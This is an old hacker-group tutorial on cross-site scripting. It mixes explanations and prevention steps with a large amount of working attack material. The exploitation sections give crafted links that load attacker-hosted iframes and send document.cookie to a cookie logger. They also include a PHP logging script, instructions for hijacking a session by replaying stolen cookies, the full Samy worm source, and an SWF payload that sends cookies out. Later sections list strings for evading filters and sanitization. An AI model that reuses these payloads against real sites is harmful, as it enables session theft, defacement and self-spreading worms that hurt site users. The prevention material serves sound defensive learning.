CYBERARMY UNIVERSITY

Cross Site Scripting Fundamentals

Web Application Security
X2600 5/30/2009

THIS PUBLICATION CONTAINS LEVEL 1 CLASSIFIED MATERIAL AND IS FOR OFFICIAL USE ONLY. XSS001

Table of Contents
0x00 NULL..............................................................................................................................................3 0x01 Prerequisites...................................................................................................................................3 0x02 Terms of Use...................................................................................................................................3 0x10 INTRODUCTION..................................................................................................................................3 0x11 Definition........................................................................................................................................3 0x12 History.............................................................................................................................................3 0x13 Same Origin Policy...........................................................................................................................3 0x20 CLASSIFICATIONS...........................................................................................................................4 0x21 First Order.......................................................................................................................................4 0x211 Discovery....................................................................................................................................4 0x212 Exploitation................................................................................................................................4 0x213 Prevention.................................................................................................................................8 0x22 Second Order...................................................................................................................................9 0x221 Discovery....................................................................................................................................9 0x222 Exploitation..............................................................................................................................10 0x223 Prevention................................................................................................................................13 0x30 BYPASSING PREVENTION METHODS................................................................................................14 0x31 Signature Based Filters..................................................................................................................14 0x32 Sanitization....................................................................................................................................14 0x40 OUTRODUCTION...............................................................................................................................15 0x41 Closing Remarks ...........................................................................................................................15 0x42 References....................................................................................................................................15 0x43 Contact Information......................................................................................................................15

NULL
Prerequisites
Throughout this paper, many scripting languages will be used to provide proof-of-concept and other examples for the benefit of the reader. A basic understanding of these languages is required in order to completely understand the concepts that are conveyed herein; that being said, a lack of knowledge in these areas should not deter you from reading on. The information contained within this document can, at least, provide you with a basic understanding of impacts of XSS attacks.

Terms of Use
By reading this document, you agree to the following terms: I. You will not use this information to pursue illegal means to any end. II. You will hold neither this paper's author nor its distributors liable for any actions taken that pertain to the information addressed in this document.

INTRODUCTION
Definition
Cross site scripting, commonly known by its acronym, XSS, is a type of computer security vulnerability that involves the injection of code into web pages by means of web applications. During the execution of an XSS attack, information from one entity, where it is not trusted, is transferred to another entity, where it is trusted. The transferred information may be comprised of session data, sensitive page content, compromising user data, or a variety of other objects.

History
Cross site scripting has existed since Netscape introduced the JavaScript language in the early 1990s. In fact, Netscape was at least moderately aware of the security risks associated with allowing a web server to send executable code to a browser (even if only in a browser sandbox). In some instances, a script from one page should be allowed to access data from another page or object, but in others, this should be strictly forbidden, as a malicious website could attempt to steal sensitive information this way. For this reason, the Same Origin Policy was introduced.

Same Origin Policy

Essentially, the Same Origin Policy allows any interaction between objects and pages, as long as those objects and/or pages are using the same domain name, application layer protocol, and, in most browsers, TCP port of the web page running the script. This way, a malicious website wouldn't be able to access sensitive data in another browser. 3

Since the implementation of the Same Origin Policy, other access control policies have been integrated within browsers and client-side scripting languages to protect users from malicious attacks. Cross Site Scripting holes can be seen as vulnerabilities that allow attackers to bypass these mechanisms.

CLASSIFICATIONS
First Order
This vulnerability arises when data is submitted to a web application by a user, then stored nonpersistently, and later reflected back and displayed to the user who issued the request. Typically, the application accepts a parameter containing user-supplied data and simply renders that data back to the user in its response without proper filtration or sanitization. First Order XSS bugs account for approximately 75% of all Cross Site Scripting vulnerabilities encountered on the internet. The term First Order XSS is used because this type of attack introduces a payload that is delivered and executed by means of a single request and response. Discovery The most effective approach to detecting first order XSS vulnerabilities is as follows:
Step One Choose a web application target Create a unique arbitrary string that does not appear similar to any data on the web site of the web application target. The string you decide to use should only contain alphabetic characters, to avoid any existing filtration and sanitization methods. Submit the string to the application in each parameter individually, until every parameter has been targeted. Review the application's response to each request and annotate any instances of the arbitrary string that were returned. Use the methods described in the next sections to test for Cross Site Scripting vulnerabilities in the parameters that correspond to the instances you recorded. Repeat steps one through five to test other applications on the target web site.

Step Two Step Three Step Four Step Five Step Six

Exploitation The purpose of this sub-section is to provide an aid in understanding Cross Site Scripting exploitation through real-world examples of XSS attacks. Each of the examples below is designed to emulate a commonly encountered attack scenario on the web. I. Virtual Defacement This type of First Order XSS attack involves injecting a maliciously crafted string into a vulnerable application, which has the ability to alter the contents of a page on the client-side, creating a virtual mask over the actual contents that the server sends to the browser

Virtual Defacement attacks usually require users to take some sort of action. This may simply involve clicking a link that injects malicious data into a page of a target website, or visiting a malicious website that redirects visitors to a target website, sending nefarious code with the request. Example No. One: Target - http://www.fakenationalnews.com/ Intention - Mass Hysteria/Panic In society, we are constantly flooded with images and messages from the media. This includes, but is not limited to, movies, books, television, newspapers, advertisements and the internet. The topics presented by the media have a substantial influence on how we live our lives. This makes Virtual Defacement a very powerful and imaginably desolating tool. What would happen if a person with villainous intentions found a means to change the content displayed by a popular news website to comply with those villainous intentions. The affects of his doing so could cause people to panic, and could even generate consequences that would take years to repair. An attacker could: Set up a website that contains information on the devious topic of his choosing along with crafted reference links to the Fake National News website. Send an email out that contains information on the topic and a link to the Fake National News. Post the link on a widely used forum. The link to the news website could be manipulated to incorporate XSS attacks designed to allow the attacker to virtually deface the website. Upon clicking the link, the code would be sent as a request to a vulnerable application on the Fake National News server. Below are a few examples of a maliciously crafted links:
<a href='http://www.fakenationalnews.com/viewpage.php?page=><iframe width=100% height=100% scrolling=no src='http://www.attackerhost.com/newsreplica.php'>Fake National News Online</a>

or
http://www.fakenationalnews.com/viewpage.php?page=><iframe width=100% height=100% scrolling=no src='http://www.attackerhost.com/newsreplica.php'>

In the examples above, an iframe is generated on the page that the server returns in its response. The source of the iframe is directed to a page on the attacker's website, which is an altered version of the content found on the actual news site. The iframe would cover the entire Fake National News website, so any viewing users would be reading the nefarious content that was set up by the attacker.
<a href='http://www.fakenationalnews.com/viewpage.php?page=><img src=http://www.externalsite.com/pixel.jpg onload="javascript:document.write('<html>Site Contents Here</html>'>

In the above example, an image tag is used to inject JavaScript that would temporarily (nonpersistently) rewrite the site content that the user requested to view. An example of the fake site content is as follows:
# #!/Contents of Fake newsreplica.php # <html> # <head> # <title>Fake National News Online</title> # </head> # <body> # <!-- Insert Look-A-Like Content --> # # SILCA Gone Airborne # This just in: SELECTIVE IMMUNE LEGITIMATE CELLS APPENDAGE virus # SILCA is a mutated from a form of Human immunodeficiency virus (HIV). # # Until Recently, SILCA has only been found in monkeys, but a recent experiment # by the FakeCHEMCorp caused the virus to mutate, giving it the ability to be # transmitted through the air. A-SILCA (Airborne SILCA)has already claimed over 2,000 # lives, and continues to spread out of control. # # All citizens are advised: Stay inside your homes until the threat has been taken # care of by the proper authorities. # # <!-- Insert Look-A-Like Content --> # </body> # </html> #

Example No. Two: Target - http://www.fakestockstrading.com/ Intention - Financial Gain and Mass Hysteria In addition to causing mass panic, an attacker could also use a Virtual Defacement attack payload for financial gain. Causing a user to visit a stock trading website that has been virtually defaced might cause that user to make a poor decision that would benefit the attacker, such as selling stocks when it would be more appropriate to buy more of the same stock. The attacker may have crafted code to show an exponential decline in stock value, causing other users to sell their stocks at low prices, and then could purchase them himself at a much lower rate than the rate originally set. END II. Session Hijacking This XSS attack is more commonly used by attackers than any other type of XSS exploitation technique. It involves injecting specifically constructed code that enables an attacker to request user session data via a vulnerable application. The injected code then issues a response, passing the requested data to an external malicious website to be logged. 6

Depending on the target website, the target application, the target audience of users, and an assortment of other factors, minor to moderate levels of social engineering are required to successfully execute this type of attack. The tactics used range from posting manipulated external links along with controversial information on public discussion forums, drawing out curious netizens, to creating elaborate email scams that appear to come from a trusted source. Example No. One: Target - http://www.fakebank.com Intention - Financial Gain An attacker set up a website that contains legitimate financial advice and an array of links to different financial institutions. The links to each and every financial institution were manipulated to incorporate XSS attacks designed to allow the attacker to hijack the sessions of users who are susceptible to attack. Upon clicking a link, the following code will be sent as a request to a vulnerable application on http://www.fakebank.com. The iframe is one pixel by one pixel in size, so the probability of users finding out that their sessions are being hijacked is less than it would be if one was to use a JavaScript redirect, for example. Below is an example of a maliciously crafted link.
<a href='http://www.fakebank.com/viewaccountinfo.php?info=><iframe width=1 height=1 scrolling=no src='http://www.attackerhost.com/cookielogger.php?cookie='+unescape(document.cookie)>'>FakeBank Online</a>

Upon clicking the link, the user's cookie would be transferred, through the iframe, to an external script on http://www.attackerhost.com. The external script would then write the cookie to a log file for later use. An example of a functional cookie-logging script is as follows:
<?php $filename = 'logfile.txt'; if (is_writable($filename)) { if (!$handle = fopen($filename, 'a')) { echo "Cannot open file ($filename)"; exit; } if (fwrite($handle, $cookie) === FALSE) { echo "Cannot write to file ($filename)"; exit; } echo "Success, wrote the information to the log file"; fclose($handle); } else { echo "The file is not writable"; } ?>

After a cookie is obtained, the attacker can use an application that is capable of sending http requests to hijack the corresponding user's session. Three of the most common applications for sending http requests are Firefox (Using the LivehttpHeaders Extension), Proxomitron, and BurpSuite. I will explain how to do this with two of the mentioned applications. ____________ |Firefox Step 1: Install the LivehttpHeaders extension and restart your browser. Step 2: Click Tools>>LivehttpHeaders and visit the website that you got the cookie from Step 3: Highlight the main script request and click the replay button Step 4: Replace the current cookie information with your cached information. (Cookie:) ____________ |Proxomitron Step 1: Set up Proxomitron. If you don't know how to do this, read the help files for the program Step 2: Open Proxomitron, Check the "Outgoing Headers Filters" checkbox Step 4: Click the "Headers" button under "Edit Filters" Step 5: Click the "New" button and fill in the following information - HTTP Header: "A Descript of the header. "Cookie" will do." - URL Match: "" - Header Value Match: "*" - Replacement test: The cookie that you borrowed (in the logfile.txt). Step 6: Click the "Okay" button. Step 7: Scroll down the HTTP Headers List until you find what you added. Check the box under "Out" Step 8: Click the "Apply" button END III. Inducing User Actions Although session hijacking accounts for the majority of First Order XSS Attack scenarios on the web, it is not always the most efficient attack type. Inducing user actions through Request Forgery is an alternative to session hijacking, frequently utilized by attackers when stealth in an emphasized concern. Request Forgery allows an attacker to completely bypass authentication mechanisms, exploiting an active client/server trust relationship to cause a user to carry out malicious actions via the target application. In summation, this attack type establishes a proxy-like relationship between the attacker and the user. Prevention Prevention methods for Cross Site Scripting have been under development since the discovery of the attack; however, that development has yielded little success until recent years. The most successful approach to-date used to prevent XSS is as follows: 8

Step One Step Two

Step Three

Step Four Step Five

Choose a target application. Isolate every function within the application by which user-controlled data is returned in the application's response. Validate all user supplied input by ensuring that all submitted data contains only permitted characters, and that the length of the data meets set requirements. A combination of these two methods and other preventative validations is most effective because it requires that the submitted data conforms to an established standard. Sanitize all application returned output by encoding all data that could be hazardous when displayed to users if left untouched. Encoding, or completely removing, all non-alphanumeric characters is the most reliable approach to sanitization. Repeat steps one through four to secure other web applications on the web site.

Second Order
This vulnerability arises when data is submitted to a web application by a user, then stored persistently on the server (typically in a back-end database or file system), and later displayed to other users on a web page without being properly filtered or sanitized. Because second order XSS attacks involve specifically crafted malicious code that is first stored on the server, and then displayed to other users, the attack script is rendered more than once, enabling an attacker to affect multiple users with very little effort. Discovery The process of detecting second order XSS vulnerabilities is similar to the method discussed in section 0x211, which addresses the detection of First Order XSS vulnerabilities; however, in order to maximize the number of vulnerabilities identified, further investigation must be done.
Follow the steps in section 0x211. Monitor the application's responses for instances in which the submitted data is stored persistently on the server and then returned to the browser. Check file upload, file transfer, and file creation scripts for vulnerabilities. Frequently, these types of applications do not contain functions to validate and sanitize file contents, leaving them open to a wide array of attacks. Check scripts that handle statistics and error logs to see if manipulating their output is possible. Use XSS in combination with other computer security exploits to check for other avenues of attack. Check everything else! Twice!

Step One Step Two Step Three Step Four Step Five

Exploitation The purpose of this sub-section is to provide an aid in understanding Cross Site Scripting exploitation through real-world examples of XSS attacks. Each of the examples below is designed to emulate a commonly encountered attack scenario on the web. I. XSS Virii As mentioned previously within this document, First Order XSS Request Forgery allows an attacker to leverage a Cross Site Scripting attack payload to cause a user to issue requests against a target application; however, the non-persistent nature of First Order XSS leaves the most potentially devastating implications of this attack type completely untapped. One of the major drawbacks of the First Order version of this attack is that the introduced attack payload is delivered and executed by means of a single request and response, affecting a maximum of one user at a time. Second Order Request Forgery XSS harnesses the power to manipulate the actions of, potentially, an unlimited amount of users in an exponentiallydamaging, proxy-chain-like array of requests to a vulnerable web application. Example No. One The Samy worm was a self-propagating cross-site scripting worm developed to propagate across the MySpace social-networking site. The worm was released on October 4, 2005, and in less than 20 hours, infected over one million MySpace users. The process of how the Samy worm worked, according to its creator, is as follows: 1. A maliciously crafted JavaScript code was first placed in the profile of a single user - in this case, Samy was that user. 2. Upon viewing the MySpace profile that contains the worm, the malicious code was automatically executed. The code would edit the profile of all viewing users, adding Samy as a friend and appending him as a hero. The method used to do this required multiple requests (GETs and POSTs) to the server via Asynchronous JavaScript and XML (Ajax). By running these background requests, the script was able to completely bypass the need for user actions (User Requests, Confirmations, etc.). 3. The most dangerous attribute of the code is that it was self-replicating. Upon execution of the code, it was copied and assigned to its own variable, obfuscated to avoid filters, and then sent as its own request to the server. The issued request would trigger the server to add the script to the profile of the viewing user(s). 4. The entire process would start over whenever the profiles of the newly infected users were viewed. The Samy virus became one of the fastest spreading viruses of all time, and Samy became one of the most popular MySpace users of all time. The spreading of the virus was so rapid that it actually created a denial-of-service attack, because of the exponential growth of the Samy's friends list. A copy of the code used can be found below:

10

Samy Worm Code

<pre> <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); var A=String.fromCharCode(39); function g(){ var C; try{var D=document.body.createTextRange(); C=D.htmlText } catch(e){ } if(C){ return C } else{ return eval('document.body.inne'+'rHTML') } } function getData(AU){ M=getFromURL(AU,'friendID'); L=getFromURL(AU,'Mytoken') } function getQueryParams(){ var E=document.location.search; var F=E.substring(1,E.length).split('&'); var AS=new Array(); for(var O=0;O<F.length;O++){ var I=F[O].split('='); AS[I[0]]=I[1]}return AS}var J; var AS=getQueryParams(); var L=AS['Mytoken']; var M=AS['friendID']; if(location.hostname=='profile.myspace.com'{ document.location='http://www.myspace.com'+ location.pathname+location.search } else{ if(!M){ getData(g()) } main() } function getClientFID() function getFromURL(BF,BG){ var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'='; var V=BF.indexOf(U)+U.length; var W=BF.substring(V,V+1024); var X=W.indexOf(T); var Y=W.substring(0,X); return Y}function getXMLObj(){ var Z=false; if(window.XMLHttpRequest){ try{Z=new XMLHttpRequest() } catch(e){ Z=false } } else if(window.ActiveXObject){ try{Z=new ActiveXObject('Msxml2.XMLHTTP') } catch(e){ try{ Z=new ActiveXObject('Microsoft.XMLHTTP') } catch(e){Z=false}}}return Z}var AA=g(); var AB=AA.indexOf('m'+'ycode'); var AC=AA.substring(AB,AB+4096); var AD=AC.indexOf('D'+'IV'); var AE=AC.substring(0,AD); var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a'); AE=AE.replace('exp'+'r)','exp'+'r)'+A); AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>' } var AG; function getHome(){ if(J.readyState!=4){ return } var AU=J.responseText; AG=findIn(AU,'P'+'rofileHeroes','</td>'); AG=AG.substring(61,AG.length); if(AG.indexOf('samy')==-1){if(AF){AG+=AF; var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['interestLabel']='heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj(); httpSend('/index.cfm?fuseaction=profile.previewInterests& Mytoken=' +AR,postHero,'POST',paramsToString(AS)) }

11

{ return findIn(g(),'up_launchIC( '+A,A) } function nothing(){ } function paramsToString(AV){ var N=new String(); var O=0; for(var P in AV){ if(O>0){N+='&'}var Q=escape(AV[P]); while(Q.indexOf('+')!=-1){ Q=Q.replace('+','%2B') } while(Q.indexOf('&')!=-1){ Q=Q.replace('&','%26') } N+=P+'='+Q;O++ } return N } function httpSend(BH,BI,BJ,BK){ if(!J){return false}eval('J.onr'+'eadystatechange=BI'); J.open(BJ,BH,true); if(BJ=='POST'){ J.setRequestHeader('Content-Type','application/xwww-form-urlencoded'); J.setRequestHeader('ContentLength',BK.length)}J.send(BK);return true } function findIn(BF,BB,BC){ var R=BF.indexOf(BB)+BB.length; var S=BF.substring(R,R+1024); return S.substring(0,S.indexOf(BC)) } function getHiddenParameter(BF,BG){ return findIn(BF,'name='+B+BG+B+' value='+B,B) } function getFromURL(BF,BG){ var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'='; var V=BF.indexOf(U)+U.length; var W=BF.substring(V,V+1024); var X=W.indexOf(T); var Y=W.substring(0,X);

} } function postHero(){ if(J.readyState!=4){ return } var AU=J.responseText; var AR=getFromURL(AU,'Mytoken'); var AS=new Array();AS['interestLabel']='heroes'; AS['submit']='Submit'; AS['interest']=AG;AS['hash']= getHiddenParameter(AU,'hash'); httpSend('/index.cfm?fuseaction= profile.processInterests& Mytoken='+AR,nothing,'POST',paramsToString(AS)) } function main(){ var AN=getClientFID(); var BH='/index.cfm?fuseaction=user.viewProfile&friendID ='+AN+'&Mytoken='+L; J=getXMLObj(); httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj(); httpSend2('/index.cfm?fuseaction= invite.addfriend_verify& friendID=11851658&Mytoken='+L,processxForm,'GET') } function processxForm(){ if(xmlhttp2.readyState!=4){ return } var AU=xmlhttp2.responseText; var AQ=getHiddenParameter(AU,'hashcode'); var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['hashcode']=AQ; AS['friendID']='11851658';AS['submit']='Add to Friends'; httpSend2('/index.cfm?fuseaction= invite.addFriendsProcess&Mytoken='+ AR,nothing,'POST',paramsToString(AS)) } function httpSend2(BH,BI,BJ,BK){ if(!xmlhttp2){ return false } eval('xmlhttp2.onr'+'eadystatechange=BI'); xmlhttp2.open(BJ,BH,true); if(BJ=='POST'){ xmlhttp2.setRequestHeader('Content-Type',' application/x-www-form-urlencoded'); xmlhttp2.setRequestHeader('ContentLength',BK.length)}xmlhttp2.send(BK);return true}"></DIV> <pre>

12

END II. Bugging File Handlers Frequently, file handling application do not contain functions to validate and sanitize file contents, leaving them defenseless against Second Order XSS This type of attack differs from all of the attacks previously mentioned in that malicious code is not injected directly into a web page; instead, the attack is launched via a separate file that contains malicious code, which is introduced by an attacker. Example No. One Target: http://www.fakeelectronicart.com Intention: Financial Gain An attacker submitted a piece of art, created using an SWF design tool, to the Fake Electronic Art website. The site allows users to display their art as well as auction it off. The art that the attacker submitted contains the following script, which runs undetected in the background:
getURL("javascript:location='http://www.externalhost.com/cookielogger.php? cookie='+document.cookie")

This script sends user session data to a script on a remote server. The external script would then write the data to a log file for later use. Prevention Prevention methods for Second Order XSS are more complex than those of the First Order category because Second Order attack vectors are more diverse; however, the fundamental defensive measures are the same. To prevent Second Order XSS, try the following:

Step One Step Two Step Three Step Four Step Five

Follow the steps in Section 0x213. Be sure to validate user supplied data and to sanitize application responses that correspond to items that are stored persistently on the server. Check file upload, file transfer, and file creation scripts for vulnerabilities. If vulnerabilities exist, validate file headers and footers of permitted file types. Validate HTTP headers Sanitize all log files by purging hazardous characters. Check everything else! Twice!

13

BYPASSING PREVENTION METHODS

As mentioned earlier in this document, prevention methods for Cross Site Scripting have been significantly underdeveloped until recent years. Even today, the majority of precautions taken by web developers to avoid XSS are far from being "bullet proof." Below are a couple of the most widely used defensive measures put in place by web developers and the steps to circumvent those defenses.

Signature Based Filters

Signature Based Filters (SBFs) usually generate an error message, indicating that the sent request cannot be processed safely. The following steps can be used to evaluate whether or not a bypass for a filter exists.
Step One Step Two Step Three Step Four Choose a target application. Create a simple attack string and submit it to the application. If an error message is returned by the server, remove different parts of the string and resubmit it to the application to see whether the input is still being blocked. Once all permitted characters have been identified via step three, construct a new attack string using only those characters. If step four is not possible, attempt to use other means to bypass the filter, such as: Case One - The filter blocks the uppercase and lowercase versions of the word "script" Bypass - Use a mixed case version. <ScRiPt>XSS</sCrIpT> Case Two - The filter blocks the word "script" entirely. Bypass - Insert characters into the word that will neither be returned by the script, not blocked by it. <scr%00ipt>XSS<scr%00ipt> or <scr/****/ipt>XSS<scr/****/ipt> Case Three - The filter blocks the angel bracket characters. Bypass - Use an even handler. " onLoad='javascript:XSS;'

Step Five

Sanitization
Sanitization involves the encoding or purging of data that has been determined to be unsafe by the application. Various bypasses exist for this prevention method as well.
Step One Step Two Step Three Step Four Choose a target application Create a simple attack string and submit it to the application. Analyze the application's response to determine whether or not your request has been sanitized. If the attack string has been altered, isolate the characters and expressions that

14

Step Four (Cont)

are being sanitized, and determine whether it is possible to execute an attack with the remaining characters. If step four is not possible, attempt to circumvent the sanitization mechanism. Case One - The script tag is being purged. Bypass - Insert a script tag inside of the first one. <scr<script>ipt> Case Two - Angel bracket characters are being encoded. Bypass - Fight fire with fire... encode the brackets before the script does. %3cSCRIPT%3eXSS%3c/SCRIPT%3e Case Three - Single/Double quotes are being escaped by a backslash. Bypass - Turn the backslashes into comments. \'; XSS;//

Step Five

OUTRODUCTION
Closing Remarks
Until recently, Cross site scripting has been considered a minor security risk. In fact, the affects of XSS attacks can be far reaching and pose a serious threat to all internet users. As with any computer security vulnerability, an XSS bug should be viewed in perspective, taking into consideration the context in which it appears and the severity of its potential implications. Hopefully this paper has been effective in relaying to you the information needed to develop and maintain that perspective. New Cross Site Scripting vulnerabilities are found every day by security professionals and rogue hackers alike. So find them, before they find you.

References Special thanks to the individuals whose writing aided me in the creation of this paper:
I. II. III. IV. V. The Web Application Hacker's Handbook - By David Stuttard and Marcus Pinto Cross Site Scripting - Wikipedia XSS Cheat Sheet - http://www.ha.ckers.org/XSS.html XSS by Xproterg Samy, Their Hero - http://blogoscoped.com/archive/2005-10-14-n81.html

Contact Information
Email - x2600.hack@gmail.com Web - http://www.Cyberarmy.net (Message x2600) 15